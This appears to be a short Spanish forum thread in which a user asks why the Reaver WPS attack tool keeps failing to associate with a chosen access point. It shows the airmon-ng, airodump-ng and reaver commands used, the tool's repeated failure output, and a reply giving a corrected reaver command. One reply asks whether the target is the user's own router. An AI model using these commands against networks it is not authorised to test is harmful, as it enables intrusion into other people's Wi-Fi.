Error al ejecutar reaver

[Samus13]

Hola muy buenas! Este es mi primer post y tengo esta duda:

He usado:
 
   airmon-ng start wlan0

Luego:

airodump-ng mon0

Escogí la BSSID de la red que mas "beacons" ofrecía.

Y opté por el supuesto comando final:

reaver -i mon0 -b BSSID

Con lo que el resultado fue un infinito:

root@*****:~# reaver -i mon0 -b 20:25:64:5C:D1:8C

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

• Waiting for beacon from 20:25:64:5C:D1:8C
  [!] WARNING: Failed to associate with 20:25:64:5C:D1:8C (ESSID: (null))
  [!] WARNING: Failed to associate with 20:25:64:5C:D1:8C (ESSID: (null))
  [!] WARNING: Failed to associate with 20:25:64:5C:D1:8C (ESSID: (null))
  [!] WARNING: Failed to associate with 20:25:64:5C:D1:8C (ESSID: (null))
  [!] WARNING: Failed to associate with 20:25:64:5C:D1:8C (ESSID: (null))
  [!] WARNING: Failed to associate with 20:25:64:5C:D1:8C (ESSID: (null))
  [!] WARNING: Failed to associate with 20:25:64:5C:D1:8C (ESSID: (null))
  [!] WARNING: Failed to associate with 20:25:64:5C:D1:8C (ESSID: (null))
  [!] WARNING: Failed to associate with 20:25:64:5C:D1:8C (ESSID: (null))
  [!] WARNING: Failed to associate with 20:25:64:5C:D1:8C (ESSID: (null))
  [!] WARNING: Failed to associate with 20:25:64:5C:D1:8C (ESSID: (null))
  ^C
  
  He probado añadirle opciones de reaver,, pero sigue pasando exactamente lo mismo. Muchas gracias de antemano!!!! 
  
  

[engel lex]

estás conectándote a tu router y te aseguraste primero que nada saber que hace el reaver y preparar tu router para que el ataque sea exitoso?

[warcry.]

prueba a especificarle el essid.

Código [Seleccionar] Expandir

reaver -i mon0 -b xx:xx:xx:xx:xx:xx  -e elquesea -vv